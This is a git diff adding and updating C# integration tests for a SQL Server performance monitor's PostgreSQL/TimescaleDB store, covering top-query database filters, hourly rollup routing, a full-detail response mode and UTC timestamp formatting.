+    [Fact]
+    public async Task TheHourlyTier_ARefillRound_UnderTheFilter_NeverReturnsAnUnchosenDatabase()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live hourly refill database filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live hourly refill database filter test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var windowEnd = WindowStart.AddDays(1);
+            const string WaitforText = "WAITFOR DELAY '00:00:30'";
+            var tick = 0;
+
+            async Task PlantAsync(DateTime at, string db, string tag, string text, long weight) =>
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO collect.query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle, query_text,
+                          delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                      VALUES ($1, $2, $3, $4, $5, $6, $7, $8, 10, $9, $9, 100, 1000, 3600)",
+                    CollectionIdGenerator.Next(), at, ServerId, ServerName, db, "0xQ" + tag, "0xSQLH" + tag, text, weight);
+
+            foreach (var db in new[] { A, B })
+            {
+                for (var i = 1; i <= 6; i++)
+                {
+                    tick++;
+                    var tag = "Shell" + db + i;
+                    await PlantAsync(WindowStart.AddHours(1).AddSeconds(tick), db, tag, WaitforText, 1_000_000 - tick);
+                    /* The text lookup reads raw and the purge below removes the first hours: this later row keeps the shell's text findable. */
+                    await PlantAsync(SurvivorAt.AddSeconds(tick), db, tag, WaitforText, 1);
+                }
+
+                for (var i = 1; i <= 2; i++)
+                {
+                    tick++;
+                    await PlantAsync(WindowStart.AddHours(1).AddSeconds(tick), db, "Real" + db + i, "SELECT real " + db + i, 10_000 - tick * 100);
+                }
+            }
+
+            for (var i = 1; i <= 6; i++)
+            {
+                tick++;
+                await PlantAsync(WindowStart.AddHours(1).AddSeconds(tick), C, "Real" + C + i, "SELECT real " + C + i, 500_000 - tick);
+            }
+
+            await using (var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{TimescaleSupport.QueryStatsIntervalHourlyView}'::regclass, $1::timestamp, $2::timestamp)", connection))
+            {
+                refresh.Parameters.AddWithValue(WindowStart);
+                refresh.Parameters.AddWithValue(windowEnd.AddHours(1));
+                await refresh.ExecuteNonQueryAsync(ct);
+            }
+
+            await using (var purge = new NpgsqlCommand("DELETE FROM collect.query_stats WHERE server_id = $1 AND collection_time >= $2 AND collection_time < $3", connection))
+            {
+                purge.Parameters.AddWithValue(ServerId);
+                purge.Parameters.AddWithValue(WindowStart);
+                purge.Parameters.AddWithValue(WindowStart.AddHours(3));
+                await purge.ExecuteNonQueryAsync(ct);
+            }
+
+            await using var hourly = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            var filtered = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(hourly, ServerId, WindowStart, windowEnd, 3, Of(A, B), ranking: TopRanking.Cpu, cancellationToken: ct);
+            Assert.True(filtered.Tier == RetentionTier.Hourly, $"expected the hourly tier but read {filtered.Tier}");
+            Assert.True(filtered.Rows.Count == 3, $"{filtered.Rows.Count} rows, expected 3 (the refill must reach past the shells)");
+            Assert.DoesNotContain(filtered.Rows, r => (r.QueryText ?? "").StartsWith("WAITFOR", StringComparison.Ordinal));
+            Assert.DoesNotContain(filtered.Rows, r => r.DatabaseName == C);
+            Assert.Equal([A, B], Databases(filtered.Rows.Select(r => r.DatabaseName)));
+
+            /* Control: the same refill with no filter fills the page from C. */
+            var unfiltered = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(hourly, ServerId, WindowStart, windowEnd, 3, DatabaseFilter.All, ranking: TopRanking.Cpu, cancellationToken: ct);
+            Assert.Equal(RetentionTier.Hourly, unfiltered.Tier);
+            Assert.All(unfiltered.Rows, r => Assert.Equal(C, r.DatabaseName));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                Assert.Equal(0L, Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt)));
+            });
+        }
+    }
+
+    private static readonly DateTime QsEnd = new(2026, 1, 14, 6, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime QsBuildNow = new(2026, 1, 15, 12, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>Nine queries over db0, db1 and db2 (query q lives in db(q % 3)), one row per query per hour from 2026-01-05 to 2026-01-14 12:00.</summary>
+    private const string QsSeedSql = @"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads, avg_logical_io_writes,
+ avg_physical_io_reads, avg_rowcount, query_plan_hash, replica_role, runtime_stats_interval_id, interval_start_time_utc)
+SELECT
+    ct, 1, 'db' || (q % 3), q, q, 'Regular', ct - interval '10 minutes', ct, NULL,
+    'h' || q, 5, 1000 + q * 100, 500 + q, 100, 10, 5, 3, 'ph', NULL, q * 100000 + h, ct - interval '10 minutes'
+FROM
+(
+    SELECT q, h, TIMESTAMP '2026-01-05 00:00:00' + make_interval(hours => h) AS ct
+    FROM generate_series(1, 9) AS q
+    CROSS JOIN generate_series(0, 24 * 9 + 12) AS h
+) AS s;";
+
+    [Fact]
+    public async Task QueryStoreTop_TheIntervalTableAndDailyRoutes_AListOfDatabases_ReturnsOnlyThoseDatabases()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live Query Store routes database filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, QsSeedSql);
+            await DarlingMcpTestData.ExecAsync(connection, ct, "INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES (1, 'srv1', TRUE)");
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO collect.query_store_interval_wide_coverage (server_id, filled_since, applied_through) VALUES (1, TIMESTAMP '2026-01-01 00:00:00', TIMESTAMP '2026-01-01 00:00:00')");
+
+            var start = QsEnd.AddHours(-72);
+
+            /* No built day yet: the interval-table statement. */
+            var table = await DarlingDataReader.GetQueryStoreTopWithReachAsync(source, 1, start, QsEnd, 30, Of("db0", "db1"), null, null, ct);
+            Assert.NotNull(table.Table);
+            Assert.Equal(0, table.DailyDaysUsed);
+            Assert.Equal(["db0", "db1"], Databases(table.Rows.Select(r => r.DatabaseName)));
+            Assert.Equal(6, table.Rows.Count);
+            Assert.Equal(["db2"], Databases((await DarlingDataReader.GetQueryStoreTopWithReachAsync(source, 1, start, QsEnd, 30, "db2", null, null, ct)).Rows.Select(r => r.DatabaseName)));
+            Assert.Equal(["db0", "db1", "db2"], Databases((await DarlingDataReader.GetQueryStoreTopWithReachAsync(source, 1, start, QsEnd, 30, DatabaseFilter.All, null, null, ct)).Rows.Select(r => r.DatabaseName)));
+
+            /* Built days: the daily-summary statement. */
+            var result = await QueryStoreTopDaily.RunTickAsync(source, QsBuildNow, 9, NullLogger.Instance, ct);
+            Assert.Equal(0, result.Failed);
+            var daily = await DarlingDataReader.GetQueryStoreTopWithReachAsync(source, 1, start, QsEnd, 30, Of("db0", "db1"), null, null, ct);
+            Assert.True(daily.DailyDaysUsed > 0, "the read must use built days");
+            Assert.Equal(["db0", "db1"], Databases(daily.Rows.Select(r => r.DatabaseName)));
+            Assert.Equal(6, daily.Rows.Count);
+            Assert.Equal(["db0", "db2"], Databases((await DarlingDataReader.GetQueryStoreTopWithReachAsync(source, 1, start, QsEnd, 30, Of("db2", "db0"), null, null, ct)).Rows.Select(r => r.DatabaseName)));
+            var oneDaily = await DarlingDataReader.GetQueryStoreTopWithReachAsync(source, 1, start, QsEnd, 30, DatabaseFilter.One("db1"), null, null, ct);
+            Assert.Equal(["db1"], Databases(oneDaily.Rows.Select(r => r.DatabaseName)));
+            Assert.Equal(oneDaily.Rows.Select(r => r.QueryId),
+                (await DarlingDataReader.GetQueryStoreTopWithReachAsync(source, 1, start, QsEnd, 30, "db1", null, null, ct)).Rows.Select(r => r.QueryId));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TopQueriesDetailLiveTests.cs b/Darling/Darling.Tests/TopQueriesDetailLiveTests.cs
new file mode 100644
index 0000000000..d281f02a5d
--- /dev/null
+++ b/Darling/Darling.Tests/TopQueriesDetailLiveTests.cs
@@ -0,0 +1,167 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// The widened get_top_queries_by_cpu against live PostgreSQL: detail='full' adds the desktop Top Queries grid's remaining
+/// fields from query_stats, omits the ones the store holds no value for, and the default call stays as lean as before.
+/// A 20-row, 168-hour call stays under the shared response-size target in both forms.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class TopQueriesDetailLiveTests
+{
+    private const string ServerName = "darling-top-queries-detail-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    [Fact]
+    public async Task FullDetail_CarriesTheDesktopFields_OmitsNulls_AndStaysUnderTheBudgetAt168Hours()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live top-queries detail test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            /* A non-zero offset on purpose: at 0 the conversion asserted below would pass whether or not it ran. */
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, utc_offset_minutes) " +
+                $"VALUES ({CollectionIdGenerator.Next()}, now() AT TIME ZONE 'UTC', {ServerId}, '{ServerName}', -240)");
+            var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+            var lastExec = new DateTime(2026, 3, 4, 5, 6, 7, DateTimeKind.Unspecified);
+            var created = new DateTime(2026, 3, 1, 2, 3, 4, DateTimeKind.Unspecified);
+
+            /* One fully populated group (two collections, so the extremes and the max-of columns aggregate) and, below it,
+               twenty-two lean groups holding none of the detail columns: the null-omission case and the page size. */
+            await PlantAsync(connection, ct, now.AddHours(-3), "0xFULLHASH", 500, full: true, lastExec, created, 2, 4);
+            await PlantAsync(connection, ct, now.AddHours(-2), "0xFULLHASH", 400, full: true, lastExec, created, 1, 8);
+            for (var i = 0; i < 22; i++)
+            {
+                await PlantAsync(connection, ct, now.AddHours(-1).AddMinutes(-i), "0xLEAN" + i.ToString("D2"), 10 + i, full: false, null, null, 1, 1);
+            }
+
+            var window = (now.AddDays(-7), now.AddMinutes(5));
+            var rows = await DarlingDataReader.GetTopQueriesByCpuAsync(postgres, ServerId, window.Item1, window.Item2, top: 20, databaseName: null, cancellationToken: ct);
+            var detail = rows.First(r => r.QueryHash == "0xFULLHASH").Detail;
+            Assert.NotNull(detail);
+            /* Stored on the monitored server's clock (UTC-4); the read hands back naive UTC. */
+            Assert.Equal(lastExec.AddHours(4), detail!.LastExecutionTime);
+            Assert.Equal(created.AddHours(4), detail.CreationTime);
+            Assert.Equal(7L, detail.MinGrantKb);
+            Assert.Equal(900L, detail.MaxGrantKb);
+            Assert.Equal(1L, detail.MinReservedThreads);
+            Assert.Equal(8L, detail.MaxUsedThreads);
+            Assert.Equal(3L, detail.PlanGenerationNum);
+            Assert.Equal(1000L, detail.TotalClrTimeUs);
+            Assert.NotNull(detail.WorkerTimePerSecond);
+            Assert.Null(rows.First(r => r.QueryHash == "0xLEAN21").Detail!.MaxGrantKb);
+
+            var summary = await DarlingMcpDataTools.GetTopQueriesByCpu(postgres, ServerName, hours_back: 168, top: 20);
+            var full = await DarlingMcpDataTools.GetTopQueriesByCpu(postgres, ServerName, hours_back: 168, top: 20, detail: "full");
+            Console.WriteLine($"get_top_queries_by_cpu 168h top 20 (short query text): summary={Encoding.UTF8.GetByteCount(summary)} bytes, full={Encoding.UTF8.GetByteCount(full)} bytes");
+            Assert.True(Encoding.UTF8.GetByteCount(summary) < McpResponseBudget.DefaultBytes);
+
+            using (var s = JsonDocument.Parse(summary))
+            {
+                var q = s.RootElement.GetProperty("queries").EnumerateArray().First(x => x.GetProperty("query_hash").GetString() == "0xFULLHASH");
+                Assert.False(q.TryGetProperty("max_grant_kb", out _));
+                Assert.False(q.TryGetProperty("last_execution_time", out _));
+            }
+
+            using var f = JsonDocument.Parse(full);
+            var queries = f.RootElement.GetProperty("queries").EnumerateArray().ToList();
+            var fq = queries.First(x => x.GetProperty("query_hash").GetString() == "0xFULLHASH");
+            Assert.Equal("2026-03-04T09:06:07.0000000", fq.GetProperty("last_execution_time").GetString());
+            Assert.Equal("2026-03-01T06:03:04.0000000", fq.GetProperty("creation_time").GetString());
+            Assert.Equal(900, fq.GetProperty("max_grant_kb").GetInt64());
+            Assert.Equal(1.0, fq.GetProperty("total_clr_ms").GetDouble(), 3);
+            Assert.Equal(3, fq.GetProperty("plan_generation_num").GetInt64());
+            Assert.Equal(5_000_000_000L, fq.GetProperty("max_physical_reads").GetInt64());
+            var lean = queries.First(x => x.GetProperty("query_hash").GetString() == "0xLEAN21");
+            Assert.False(lean.TryGetProperty("max_grant_kb", out _));
+            Assert.False(lean.TryGetProperty("last_execution_time", out _));
+            Assert.True(Encoding.UTF8.GetByteCount(full) < McpResponseBudget.DefaultBytes);
+
+            /* A fully populated row (every detail field present) against the same row without them: the per-row cost of
+               detail='full' on a real SQL Server target, where the grant and thread columns are populated. */
+            using var sd = JsonDocument.Parse(summary);
+            var sRow = sd.RootElement.GetProperty("queries").EnumerateArray().First(x => x.GetProperty("query_hash").GetString() == "0xFULLHASH");
+            var perRow = Encoding.UTF8.GetByteCount(fq.GetRawText()) - Encoding.UTF8.GetByteCount(sRow.GetRawText());
+            Console.WriteLine($"fully populated row: detail='full' adds {perRow} bytes per row; 20 rows add {perRow * 20} bytes");
+            Assert.InRange(perRow, 250, 900);
+
+            /* group_by=host_object runs the second statement: the same detail fields, same conversion. */
+            var rolled = await DarlingMcpDataTools.GetTopQueriesByCpu(postgres, ServerName, hours_back: 168, top: 20, group_by: "host_object", detail: "full");
+            using (var r = JsonDocument.Parse(rolled))
+            {
+                var rq = r.RootElement.GetProperty("queries").EnumerateArray().First(x => x.GetProperty("query_hash").GetString() == "0xFULLHASH");
+                Assert.Equal("2026-03-04T09:06:07.0000000", rq.GetProperty("last_execution_time").GetString());
+                Assert.Equal(900, rq.GetProperty("max_grant_kb").GetInt64());
+            }
+
+            var refused = await DarlingMcpDataTools.GetTopQueriesByCpu(postgres, ServerName, hours_back: 168, top: 20, detail: "everything");
+            Assert.Contains("detail must be", refused, StringComparison.Ordinal);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task PlantAsync(
+        NpgsqlConnection connection, CancellationToken ct, DateTime at, string queryHash, long weight, bool full,
+        DateTime? lastExec, DateTime? created, int minThreads, int maxThreads)
+    {
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name,
+                                       query_hash, query_plan_hash, sql_handle, plan_handle, query_text,
+                                       delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                                       min_dop, max_dop, sample_interval_seconds,
+                                       last_execution_time, creation_time, min_grant_kb, max_grant_kb,
+                                       min_reserved_threads, max_reserved_threads, min_used_threads, max_used_threads,
+                                       total_clr_time, plan_generation_num, max_physical_reads)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, "StackOverflow",
+            queryHash, "0xPLAN", "0xSQLH" + queryHash, "0xPLANH", "SELECT 1",
+            weight, weight * 1000L, weight * 2000L, weight * 10L, 1, 1, 60,
+            (object?)lastExec ?? DBNull.Value, (object?)created ?? DBNull.Value,
+            full ? 7L : DBNull.Value, full ? (weight == 500 ? 900L : 800L) : DBNull.Value,
+            full ? (long)minThreads : DBNull.Value, full ? (long)maxThreads : DBNull.Value,
+            full ? (long)minThreads : DBNull.Value, full ? (long)maxThreads : DBNull.Value,
+            full ? (weight == 500 ? 1000L : 500L) : DBNull.Value, full ? 3L : DBNull.Value,
+            full ? 5_000_000_000L : DBNull.Value);
+    }
+
+    private static async Task CleanupAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            $"DELETE FROM query_stats WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId}");
+}
diff --git a/Darling/Darling.Tests/TopQueriesHourlyRoutingLiveTests.cs b/Darling/Darling.Tests/TopQueriesHourlyRoutingLiveTests.cs
index 9eeaed1791..a2f70581f2 100644
--- a/Darling/Darling.Tests/TopQueriesHourlyRoutingLiveTests.cs
+++ b/Darling/Darling.Tests/TopQueriesHourlyRoutingLiveTests.cs
@@ -39,6 +39,11 @@ public sealed class TopQueriesHourlyRoutingLiveTests
     /// once we delete raw's rows for it, which is what actually drives the router, not calendar time.</summary>
     private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
 
+    /// <summary>#4966: <c>effective_start</c> prints in UTC with the trailing Z on every path, a floor read off the
+    /// store included. The floors these tests plant are naive store instants, so the text expected names the same
+    /// instant as UTC (written out here, not through the product's formatter).</summary>
+    private static string UtcText(DateTime naive) => DateTime.SpecifyKind(naive, DateTimeKind.Utc).ToString("o");
+
     [Fact]
     public async Task GetTopQueriesByCpuRoutedAsync_RoutesToHourlyOnceRawIsPurged_AndTotalsAgree()
     {
@@ -239,7 +244,7 @@ public async Task GetTopQueriesByCpu_AgedWindow_WithMinDopOrRollUp_ReadsRaw_AndD
                 var root = doc.RootElement;
                 Assert.Equal("raw", root.GetProperty("tier_used").GetString());
                 Assert.True(root.GetProperty("window_truncated").GetBoolean());
-                Assert.Equal(DarlingMcpTestData.TruncateToSeconds(survivor).ToString("o"), root.GetProperty("effective_start").GetString());
+                Assert.Equal(UtcText(DarlingMcpTestData.TruncateToSeconds(survivor)), root.GetProperty("effective_start").GetString());
                 Assert.Contains("stayed on raw", root.GetProperty("precision_note").GetString());
             }
 
@@ -253,6 +258,11 @@ public async Task GetTopQueriesByCpu_AgedWindow_WithMinDopOrRollUp_ReadsRaw_AndD
             using var emptyDoc = System.Text.Json.JsonDocument.Parse(await DarlingMcpDataTools.GetTopQueriesByCpu(
                 hourlyDataSource, ServerName, hours_back: hoursBack, top: 10, min_dop: 5, as_of: asOf));
             Assert.Contains("still holds (from", emptyDoc.RootElement.GetProperty("message").GetString() ?? emptyDoc.RootElement.ToString());
+
+            /* #4966: the miss message names the floor in the text effective_start prints beside it (UTC, with the Z). */
+            var missStart = emptyDoc.RootElement.GetProperty("hints").GetProperty("effective_start").GetString()!;
+            Assert.EndsWith("Z", missStart, StringComparison.Ordinal);
+            Assert.Contains("still holds (from " + missStart + ";", emptyDoc.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
             Assert.True(emptyDoc.RootElement.ToString().Contains("window_truncated", StringComparison.Ordinal));
 
             bodySucceeded = true;
@@ -333,6 +343,14 @@ public async Task HourlyRouted_MissingColumnsAreNull_AndSqlHandleIsCarried()
             }
 
             Assert.Equal("0xTOPQ1", row.GetProperty("sql_handle").GetString());
+
+            /* detail=full on the rollup: no detail field exists there, and the note says so. */
+            using var fullDoc = System.Text.Json.JsonDocument.Parse(await DarlingMcpDataTools.GetTopQueriesByCpu(
+                hourlyDataSource, ServerName, hours_back: hoursBack, top: 10, as_of: asOf, detail: "full"));
+            Assert.Equal("hourly", fullDoc.RootElement.GetProperty("tier_used").GetString());
+            Assert.Contains("detail=full was asked", fullDoc.RootElement.GetProperty("precision_note").GetString()!, StringComparison.Ordinal);
+            Assert.False(fullDoc.RootElement.GetProperty("queries")[0].TryGetProperty("max_grant_kb", out _));
+            Assert.DoesNotContain("detail=full was asked", doc.RootElement.GetProperty("precision_note").GetString()!, StringComparison.Ordinal);
             Assert.Equal(System.Text.Json.JsonValueKind.String, row.GetProperty("text_note").ValueKind);
             Assert.Contains("may be a WAITFOR shell", row.GetProperty("text_note").GetString(), StringComparison.Ordinal);
 
@@ -404,7 +422,7 @@ public async Task HourlyRouted_YoungServer_ReportsWindowTruncated()
                 hourlyDataSource, ServerName + "-young", hours_back: hoursBack, top: 10, as_of: asOf));
             Assert.Equal("hourly", young.RootElement.GetProperty("tier_used").GetString());
             Assert.True(young.RootElement.GetProperty("window_truncated").GetBoolean());
-            Assert.Equal(WindowStart.AddHours(10).ToString("o"), young.RootElement.GetProperty("effective_start").GetString());
+            Assert.Equal(UtcText(WindowStart.AddHours(10)), young.RootElement.GetProperty("effective_start").GetString());
             Assert.Contains("hourly rollup", young.RootElement.GetProperty("truncation_note").GetString());
 
             using var covered = System.Text.Json.JsonDocument.Parse(await DarlingMcpDataTools.GetTopQueriesByCpu(
@@ -494,16 +512,16 @@ and an ordinary row at +13h. Its first bucket at or after the stitch floor must
             using var both = System.Text.Json.JsonDocument.Parse(await DarlingMcpDataTools.GetTopQueriesByCpu(
                 hourlyDataSource, ServerName, hours_back: hoursBack, top: 10, as_of: asOf));
             Assert.Equal("hourly", both.RootElement.GetProperty("tier_used").GetString());
-            Assert.Equal(WindowStart.AddHours(1).ToString("o"), both.RootElement.GetProperty("effective_start").GetString());
+            Assert.Equal(UtcText(WindowStart.AddHours(1)), both.RootElement.GetProperty("effective_start").GetString());
 
             using var successorOnly = System.Text.Json.JsonDocument.Parse(await DarlingMcpDataTools.GetTopQueriesByCpu(
                 hourlyDataSource, ServerName + "-successor", hours_back: hoursBack, top: 10, as_of: asOf));
             Assert.Equal("hourly", successorOnly.RootElement.GetProperty("tier_used").GetString());
-            Assert.Equal(WindowStart.AddHours(12).ToString("o"), successorOnly.RootElement.GetProperty("effective_start").GetString());
+            Assert.Equal(UtcText(WindowStart.AddHours(12)), successorOnly.RootElement.GetProperty("effective_start").GetString());
 
             using var legacyOnly = System.Text.Json.JsonDocument.Parse(await DarlingMcpDataTools.GetTopQueriesByCpu(
                 hourlyDataSource, ServerName + "-legacyonly", hours_back: hoursBack, top: 10, as_of: asOf));
-            Assert.Equal(WindowStart.AddHours(13).ToString("o"), legacyOnly.RootElement.GetProperty("effective_start").GetString());
+            Assert.Equal(UtcText(WindowStart.AddHours(13)), legacyOnly.RootElement.GetProperty("effective_start").GetString());
 
             bodySucceeded = true;
         }
@@ -568,7 +586,8 @@ public async Task HourlyRouted_EndBeyondTheMaterializationCeiling_SaysNothingAft
                 hourlyDataSource, ServerName, hours_back: hoursBack, top: 10, as_of: asOf));
             Assert.Equal("hourly", doc.RootElement.GetProperty("tier_used").GetString());
             var note = doc.RootElement.GetProperty("precision_note").GetString()!;
-            Assert.Contains("the hourly rollup is materialized only to " + WindowStart.AddHours(2).ToString("o") + "; nothing after it was read", note, StringComparison.Ordinal);
+            /* #4966: the instants the note names are UTC with the Z, as effective_start is. */
+            Assert.Contains("the hourly rollup is materialized only to " + PerformanceMonitor.Common.McpHelpers.FormatEffectiveStart(WindowStart.AddHours(2)) + "; nothing after it was read", note, StringComparison.Ordinal);
             Assert.DoesNotContain("included whole", note, StringComparison.Ordinal);
             /* An end cut is not a start cut: the window flag stays about the start. */
             Assert.False(doc.RootElement.GetProperty("window_truncated").GetBoolean());
diff --git a/Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs b/Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs
index a15a33ce8e..4b90986f88 100644
--- a/Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs
+++ b/Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs
@@ -10,6 +10,7 @@
 using System.IO;
 using System.Runtime.CompilerServices;
 using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
 using Xunit;
 
 namespace Darling.Tests;
@@ -36,7 +37,9 @@ public void TopQueriesHourlySql_GroupsByDatabaseAndQueryHash_RanksByWorkerTimeSu
 
         Assert.Contains("GROUP BY database_name, query_hash", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("host_object_name", sql, StringComparison.Ordinal);
-        Assert.Contains("ORDER BY SUM(worker_time_sum) DESC", sql, StringComparison.Ordinal);
+        /* The ranking is the const's anchor; the CPU read is the const expanded to the worker-time sum (#5226). */
+        Assert.Contains("ORDER BY rank_metric DESC NULLS LAST", sql, StringComparison.Ordinal);
+        Assert.Contains("SUM(worker_time_sum) AS rank_metric", TopRankings.Apply(sql, TopRanking.Cpu, hourly: true), StringComparison.Ordinal);
         Assert.Contains(DarlingDataReader.TopQueriesHourlyFromPlaceholder, sql, StringComparison.Ordinal);
     }
 
@@ -80,12 +83,17 @@ public void TopQueriesHourlySql_NeverNamesRollupRelationDirectly()
     public void TopQueriesHourlySql_LooksUpTextInStatement_AndSelectsNoDeltaExtremes()
     {
         var sql = DarlingDataReader.TopQueriesHourlySql;
-        Assert.Contains("LEFT JOIN LATERAL", sql, StringComparison.Ordinal);
+        /* #5309: one text lookup, probed once per key by index, not one per row and not a read of the window's raw rows. It has two
+           stages, each one lateral: latest_in_window for the ranked keys, then (#5299 round 2, N1) latest_any for the keys the
+           window had no text for. */
+        Assert.Equal(2, System.Text.RegularExpressions.Regex.Matches(sql, "LATERAL").Count);
+        Assert.Contains("latest_in_window AS (", sql, StringComparison.Ordinal);
         Assert.Contains("MAX(sql_handle)", sql, StringComparison.Ordinal);
         Assert.Contains("NOT LIKE 'WAITFOR%'", sql, StringComparison.Ordinal);
-        Assert.Contains("LIMIT $4 + 5", sql, StringComparison.Ordinal);
+        Assert.Contains("LIMIT $6", sql, StringComparison.Ordinal);   /* #5313: the candidate limit; the ceiling moved to $7 */
+        Assert.DoesNotContain("+ 5", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("worker_time_min", sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("$6", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("$7", sql, StringComparison.Ordinal);   /* the ceiling is a $CEIL$ placeholder, bound only when known */
         Assert.Null(typeof(DarlingDataReader).GetField("TopQueriesHourlyTextLookupSql",
             System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static));
 
@@ -102,7 +110,7 @@ public void TopQueriesHourlySql_LooksUpTextInStatement_AndSelectsNoDeltaExtremes
     [Fact]
     public void HourlyFirstBucketSql_IsLeastOfTwoOrderedFirstRowProbes_WithNoUnion()
     {
-        var sql = DarlingDataReader.HourlyFirstBucketSql;
+        var sql = RollupCoverage.HourlyFirstBucketSql;
         Assert.Contains("least(", sql, StringComparison.Ordinal);
         Assert.Contains("$LEGACY$", sql, StringComparison.Ordinal);
         Assert.Contains("$SUCCESSOR$", sql, StringComparison.Ordinal);
